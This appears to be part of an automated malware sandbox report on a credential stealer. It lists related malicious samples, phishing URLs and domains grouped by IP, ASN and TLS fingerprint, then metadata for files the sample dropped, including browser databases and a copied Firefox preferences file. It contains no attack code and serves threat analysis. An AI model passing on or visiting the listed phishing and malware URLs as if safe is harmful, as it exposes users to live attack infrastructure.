	random.exe	Get hash	malicious	Unknown	Browse	157.240.0.35
	random.exe	Get hash	malicious	Unknown	Browse	157.240.253.35
	Endermanch@MEMZ.exe	Get hash	malicious	Bdaejec, KillMBR	Browse	157.240.251.35
	http://att-108796-103800.weeblysite.com/	Get hash	malicious	Unknown	Browse	157.240.251.35
	http://telstra-107506.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	157.240.0.35
	http://meteamaskxlogen.gitbook.io/	Get hash	malicious	Unknown	Browse	157.240.252.35
	https://erratic-mellow-comte.glitch.me/public/nfcu703553.HTML	Get hash	malicious	HTMLPhisher	Browse	157.240.0.35
	http://telstra-107152.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	157.240.251.35
twitter.com	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	104.244.42.193
	file.exe	Get hash	malicious	Babadeda	Browse	104.244.42.1
	random.exe	Get hash	malicious	Unknown	Browse	104.244.42.1
	random.exe	Get hash	malicious	Unknown	Browse	104.244.42.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Babadeda	Browse	23.200.0.9
	file.exe	Get hash	malicious	Babadeda	Browse	23.200.0.42
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	23.219.161.132
	N#U00b0025498563-.pdf	Get hash	malicious	Unknown	Browse	2.16.241.15
	http://leostop.com	Get hash	malicious	Unknown	Browse	172.232.31.180
	file.exe	Get hash	malicious	Babadeda	Browse	23.219.161.132
	file.exe	Get hash	malicious	Babadeda	Browse	23.219.161.141
	file.exe	Get hash	malicious	Babadeda	Browse	23.200.0.9
	My Info Tech Partner Executed Agreement Docs#071999(Revised).pdf	Get hash	malicious	HTMLPhisher	Browse	2.16.238.152
	7Y18r(215).exe	Get hash	malicious	Unknown	Browse	172.234.222.143
CLOUDFLARENETUS	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://forms.office.com/r/xULzprLcwH	Get hash	malicious	Unknown	Browse	104.18.94.41
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	SecuriteInfo.com.Trojan.PackedNET.738.1574.9831.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://r.emails.wellbeingontheweb.com/mk/cl/f/sh/7nVU1aA2nfuMScRuip3UF1TWed6PxdT/DQvTpig-WhJj	Get hash	malicious	Unknown	Browse	104.17.25.14
	Quotation.xls	Get hash	malicious	Remcos	Browse	188.114.96.3
	invoice.docx.doc	Get hash	malicious	FormBook	Browse	188.114.96.3
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://cloudflare-ipfs.com/ipfs/QmZe2ELun5aFwHyi9wE3DpfuUQM8RqExLq66jv64aV8BQd/#info@royaletruckservices.com.au	Get hash	malicious	HTMLPhisher	Browse	104.17.64.14
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56
	file.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	204.79.197.237
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	94.245.104.56
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	20.96.153.111
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56
	xd.mips.elf	Get hash	malicious	Mirai	Browse	104.40.77.27
	file.exe	Get hash	malicious	Babadeda	Browse	20.96.153.111
	file.exe	Get hash	malicious	Babadeda	Browse	20.96.153.111
	ewdWlNc8TL.exe	Get hash	malicious	Tofsee	Browse	52.101.8.49
GES-ASRU	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31
	Jzu7V2qdJx.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	85.28.47.70
	azeyNF3kkf.exe	Get hash	malicious	Stealc, Vidar	Browse	85.28.47.70
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Babadeda	Browse	173.222.162.64
	file.exe	Get hash	malicious	Babadeda	Browse	173.222.162.64
	http://cs9.biz	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	Babadeda	Browse	173.222.162.64
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	173.222.162.64
	EB34B4827C25A458359FE317D886E56C7B3C75A140DCD57D604FC093A9AA2B2C.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://wheelindia.in/fipol/DKB_new/	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://att-108796-103800.weeblysite.com/	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://telstra-107506.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	http://clodh-4716.obcuaclze.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Babadeda	Browse	40.126.32.68 184.28.90.27
	https://forms.office.com/r/xULzprLcwH	Get hash	malicious	Unknown	Browse	40.126.32.68 184.28.90.27
	file.exe	Get hash	malicious	Babadeda	Browse	40.126.32.68 184.28.90.27
	https://r.emails.wellbeingontheweb.com/mk/cl/f/sh/7nVU1aA2nfuMScRuip3UF1TWed6PxdT/DQvTpig-WhJj	Get hash	malicious	Unknown	Browse	40.126.32.68 184.28.90.27
	http://cs9.biz	Get hash	malicious	Unknown	Browse	40.126.32.68 184.28.90.27
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	40.126.32.68 184.28.90.27
	https://cloudflare-ipfs.com/ipfs/QmZe2ELun5aFwHyi9wE3DpfuUQM8RqExLq66jv64aV8BQd/#info@royaletruckservices.com.au	Get hash	malicious	HTMLPhisher	Browse	40.126.32.68 184.28.90.27
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	40.126.32.68 184.28.90.27
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	40.126.32.68 184.28.90.27
	http://baghoorg.xyz	Get hash	malicious	Unknown	Browse	40.126.32.68 184.28.90.27
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Trojan.PackedNET.738.1574.9831.exe	Get hash	malicious	AgentTesla	Browse	40.113.110.67 40.115.3.253
	http://cs9.biz	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	https://cloudflare-ipfs.com/ipfs/QmZe2ELun5aFwHyi9wE3DpfuUQM8RqExLq66jv64aV8BQd/#info@royaletruckservices.com.au	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67 40.115.3.253
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.115.3.253
	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	40.113.110.67 40.115.3.253
	7Y18r(191).exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	40.113.110.67 40.115.3.253
	7Y18r(191).exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253
	fps-booster.exe	Get hash	malicious	StormKitty	Browse	40.113.110.67 40.115.3.253
a0e9f5d64349fb13191bc781f81f42e1	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	104.208.16.95
	TBw6qwEBHZ.exe	Get hash	malicious	BlackMoon, Neshta, XRed	Browse	104.208.16.95
	C0ED98D08381257B540A04C0868ECD6A628649AA70FEBCBE03778BAE532FB5BE.exe	Get hash	malicious	Bdaejec, BitCoin Miner, Xmrig	Browse	104.208.16.95
	imT9J3SEaZ.exe	Get hash	malicious	Unknown	Browse	104.208.16.95
	FEB32B614BC7F38CC0B553B5FEE80B7E68AD8AE78DF1F1CAE4016A5AA1C4677A.exe	Get hash	malicious	Bdaejec	Browse	104.208.16.95
	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	104.208.16.95
	LisectAVT_2403002A_160.exe	Get hash	malicious	Gh0stCringe, GhostRat, Mimikatz, RunningRAT, XRed	Browse	104.208.16.95
	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	104.208.16.95
	LisectAVT_2403002A_173.exe	Get hash	malicious	Unknown	Browse	104.208.16.95
	LisectAVT_2403002A_173.exe	Get hash	malicious	Unknown	Browse	104.208.16.95

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse
	azeyNF3kkf.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse
	azeyNF3kkf.exe	Get hash	malicious	Stealc, Vidar	Browse
	Setup .exe	Get hash	malicious	Go Injector, MicroClip, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CBGCAFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAKEBAKFHCFHIEBFBAFBKFCAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCAAFBFBKFIDGDHJDBKECFBAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBFBKFBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCGIJDHDGDBGDGCGCFHJKKECG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFHDBKJEGHJJJKFIIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJDHCBAEHJJJKKFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEBGHCBAEGDHIDGCBAEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KEGIDHJKKJDGCBGCGIJKKECAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_7ca32398cd.exe_1aed114a8c50f8843b71bcfd65b26aa9da0448_8ef63ed5_3ea33f0f-17d6-4952-9e90-304474d890cf\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9710195258735785
Encrypted:	false
SSDEEP:	192:aydQw0a0UuZyjpCZrMZtzuiF1Z24IO8/:Jaw0hUuZyjrTzuiF1Y4IO8/
MD5:	A0CA59F198CA21127C45C331E5844820
SHA1:	D6E92B47DFFC2D1F092348DE4163FEF3E99AE42A
SHA-256:	6484308939F210DC31591EF2D1B49DE49752C101B98AAC674AD9E6EBDC0031E6
SHA-512:	E32D1FA63CF45FC8B59226C83235EEA5997ECB0A40F32B5B1FD01770B16848775F95599F79FC2FC56D094764E7E7C14E69EFBDB6B13F70A3A9935B36DFCD69B5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.5.6.6.2.9.4.0.7.8.9.9.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.5.6.6.2.9.8.7.8.5.4.6.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.e.a.3.3.f.0.f.-.1.7.d.6.-.4.9.5.2.-.9.e.9.0.-.3.0.4.4.7.4.d.8.9.0.c.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.8.d.5.f.b.c.0.-.9.e.2.4.-.4.8.0.6.-.b.f.a.1.-.7.a.6.a.b.a.0.7.9.3.d.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.7.c.a.3.2.3.9.8.c.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.4.c.-.0.0.0.1.-.0.0.1.5.-.d.d.5.f.-.4.4.f.f.3.6.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.f.3.a.e.b.7.2.a.7.5.d.a.0.f.4.5.b.c.5.1.d.7.d.3.c.1.6.a.8.c.5.0.0.0.0.f.f.f.f.!.0.0.0.0.6.c.3.0.9.2.5.5.f.2.e.7.0.1.f.8.3.2.5.c.0.b.a.2.e.b.a.8.f.e.2.7.0.c.3.2.e.4.4.a.!.7.c.a.3.2.3.9.8.c.d...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_7ca32398cd.exe_1aed114a8c50f8843b71bcfd65b26aa9da0448_8ef63ed5_933b8ae6-d12c-4d9e-ab56-b8be4e94d0fc\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.964537120508271
Encrypted:	false
SSDEEP:	192:cf1Epw0a0UuZyjpZZrP2azuiFPZ24IO8/:UWpw0hUuZyjF9zuiFPY4IO8/
MD5:	02E9D368DEECD3D3495FA2880349E9AD
SHA1:	8AB76DC37D192717B822B3F7EF579A2E73431C1A
SHA-256:	5CAE258A527CAED5CFAFC705ADB4D5A7B0AE75AB40F0497E79EEC020FF45D8C7
SHA-512:	45AC2C6B2E616B9528E23BD9CB583C7908246B64335E55B0169FDB31826DBA47B13108D1DA719A45AE086DE315E219A8A5233290477772FEE8D87E5AFC224366
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.5.6.6.4.4.2.8.4.9.7.5.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.5.6.6.4.6.0.1.7.1.4.1.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.3.3.b.8.a.e.6.-.d.1.2.c.-.4.d.9.e.-.a.b.5.6.-.b.8.b.e.4.e.9.4.d.0.f.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.2.9.c.1.6.b.8.-.f.5.6.3.-.4.f.d.1.-.b.8.8.6.-.c.c.b.1.3.9.d.a.1.3.2.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.7.c.a.3.2.3.9.8.c.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.3.8.-.0.0.0.1.-.0.0.1.5.-.8.f.c.4.-.0.9.0.6.3.7.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.f.3.a.e.b.7.2.a.7.5.d.a.0.f.4.5.b.c.5.1.d.7.d.3.c.1.6.a.8.c.5.0.0.0.0.f.f.f.f.!.0.0.0.0.6.c.3.0.9.2.5.5.f.2.e.7.0.1.f.8.3.2.5.c.0.b.a.2.e.b.a.8.f.e.2.7.0.c.3.2.e.4.4.a.!.7.c.a.3.2.3.9.8.c.d...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_dbd9219fa44134c8c4754432cfebc2aed07a462_864df792_1bdc16f2-ca7a-4c88-b010-498574d96344\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1162984825173776
Encrypted:	false
SSDEEP:	192:pZj9WuhvPPlTta0zQ/l8Au03jpCZrMZmV85zuiF1Z24IO8ThB:jzPN5hzQ/l8ARjrkQzuiF1Y4IO8L
MD5:	77C601478C4E299E63C5D1A832E084B0
SHA1:	116ABC8A36D15CFEFAA9F0FA06484773D4BD8D85
SHA-256:	6400436A2B76E687FE6899E1A53556F1E4DD874133CCF2150457B63D7A2EDA87
SHA-512:	6A1301455758C2139BCE39F22FFFAA78B5E3416EC89722F2F80D138E67C069B207BDC6E1637390ED9B1ECA28EB4EBB11EE9CADBB42AD294FB15FACA0CB4618FF
Malicious:	true
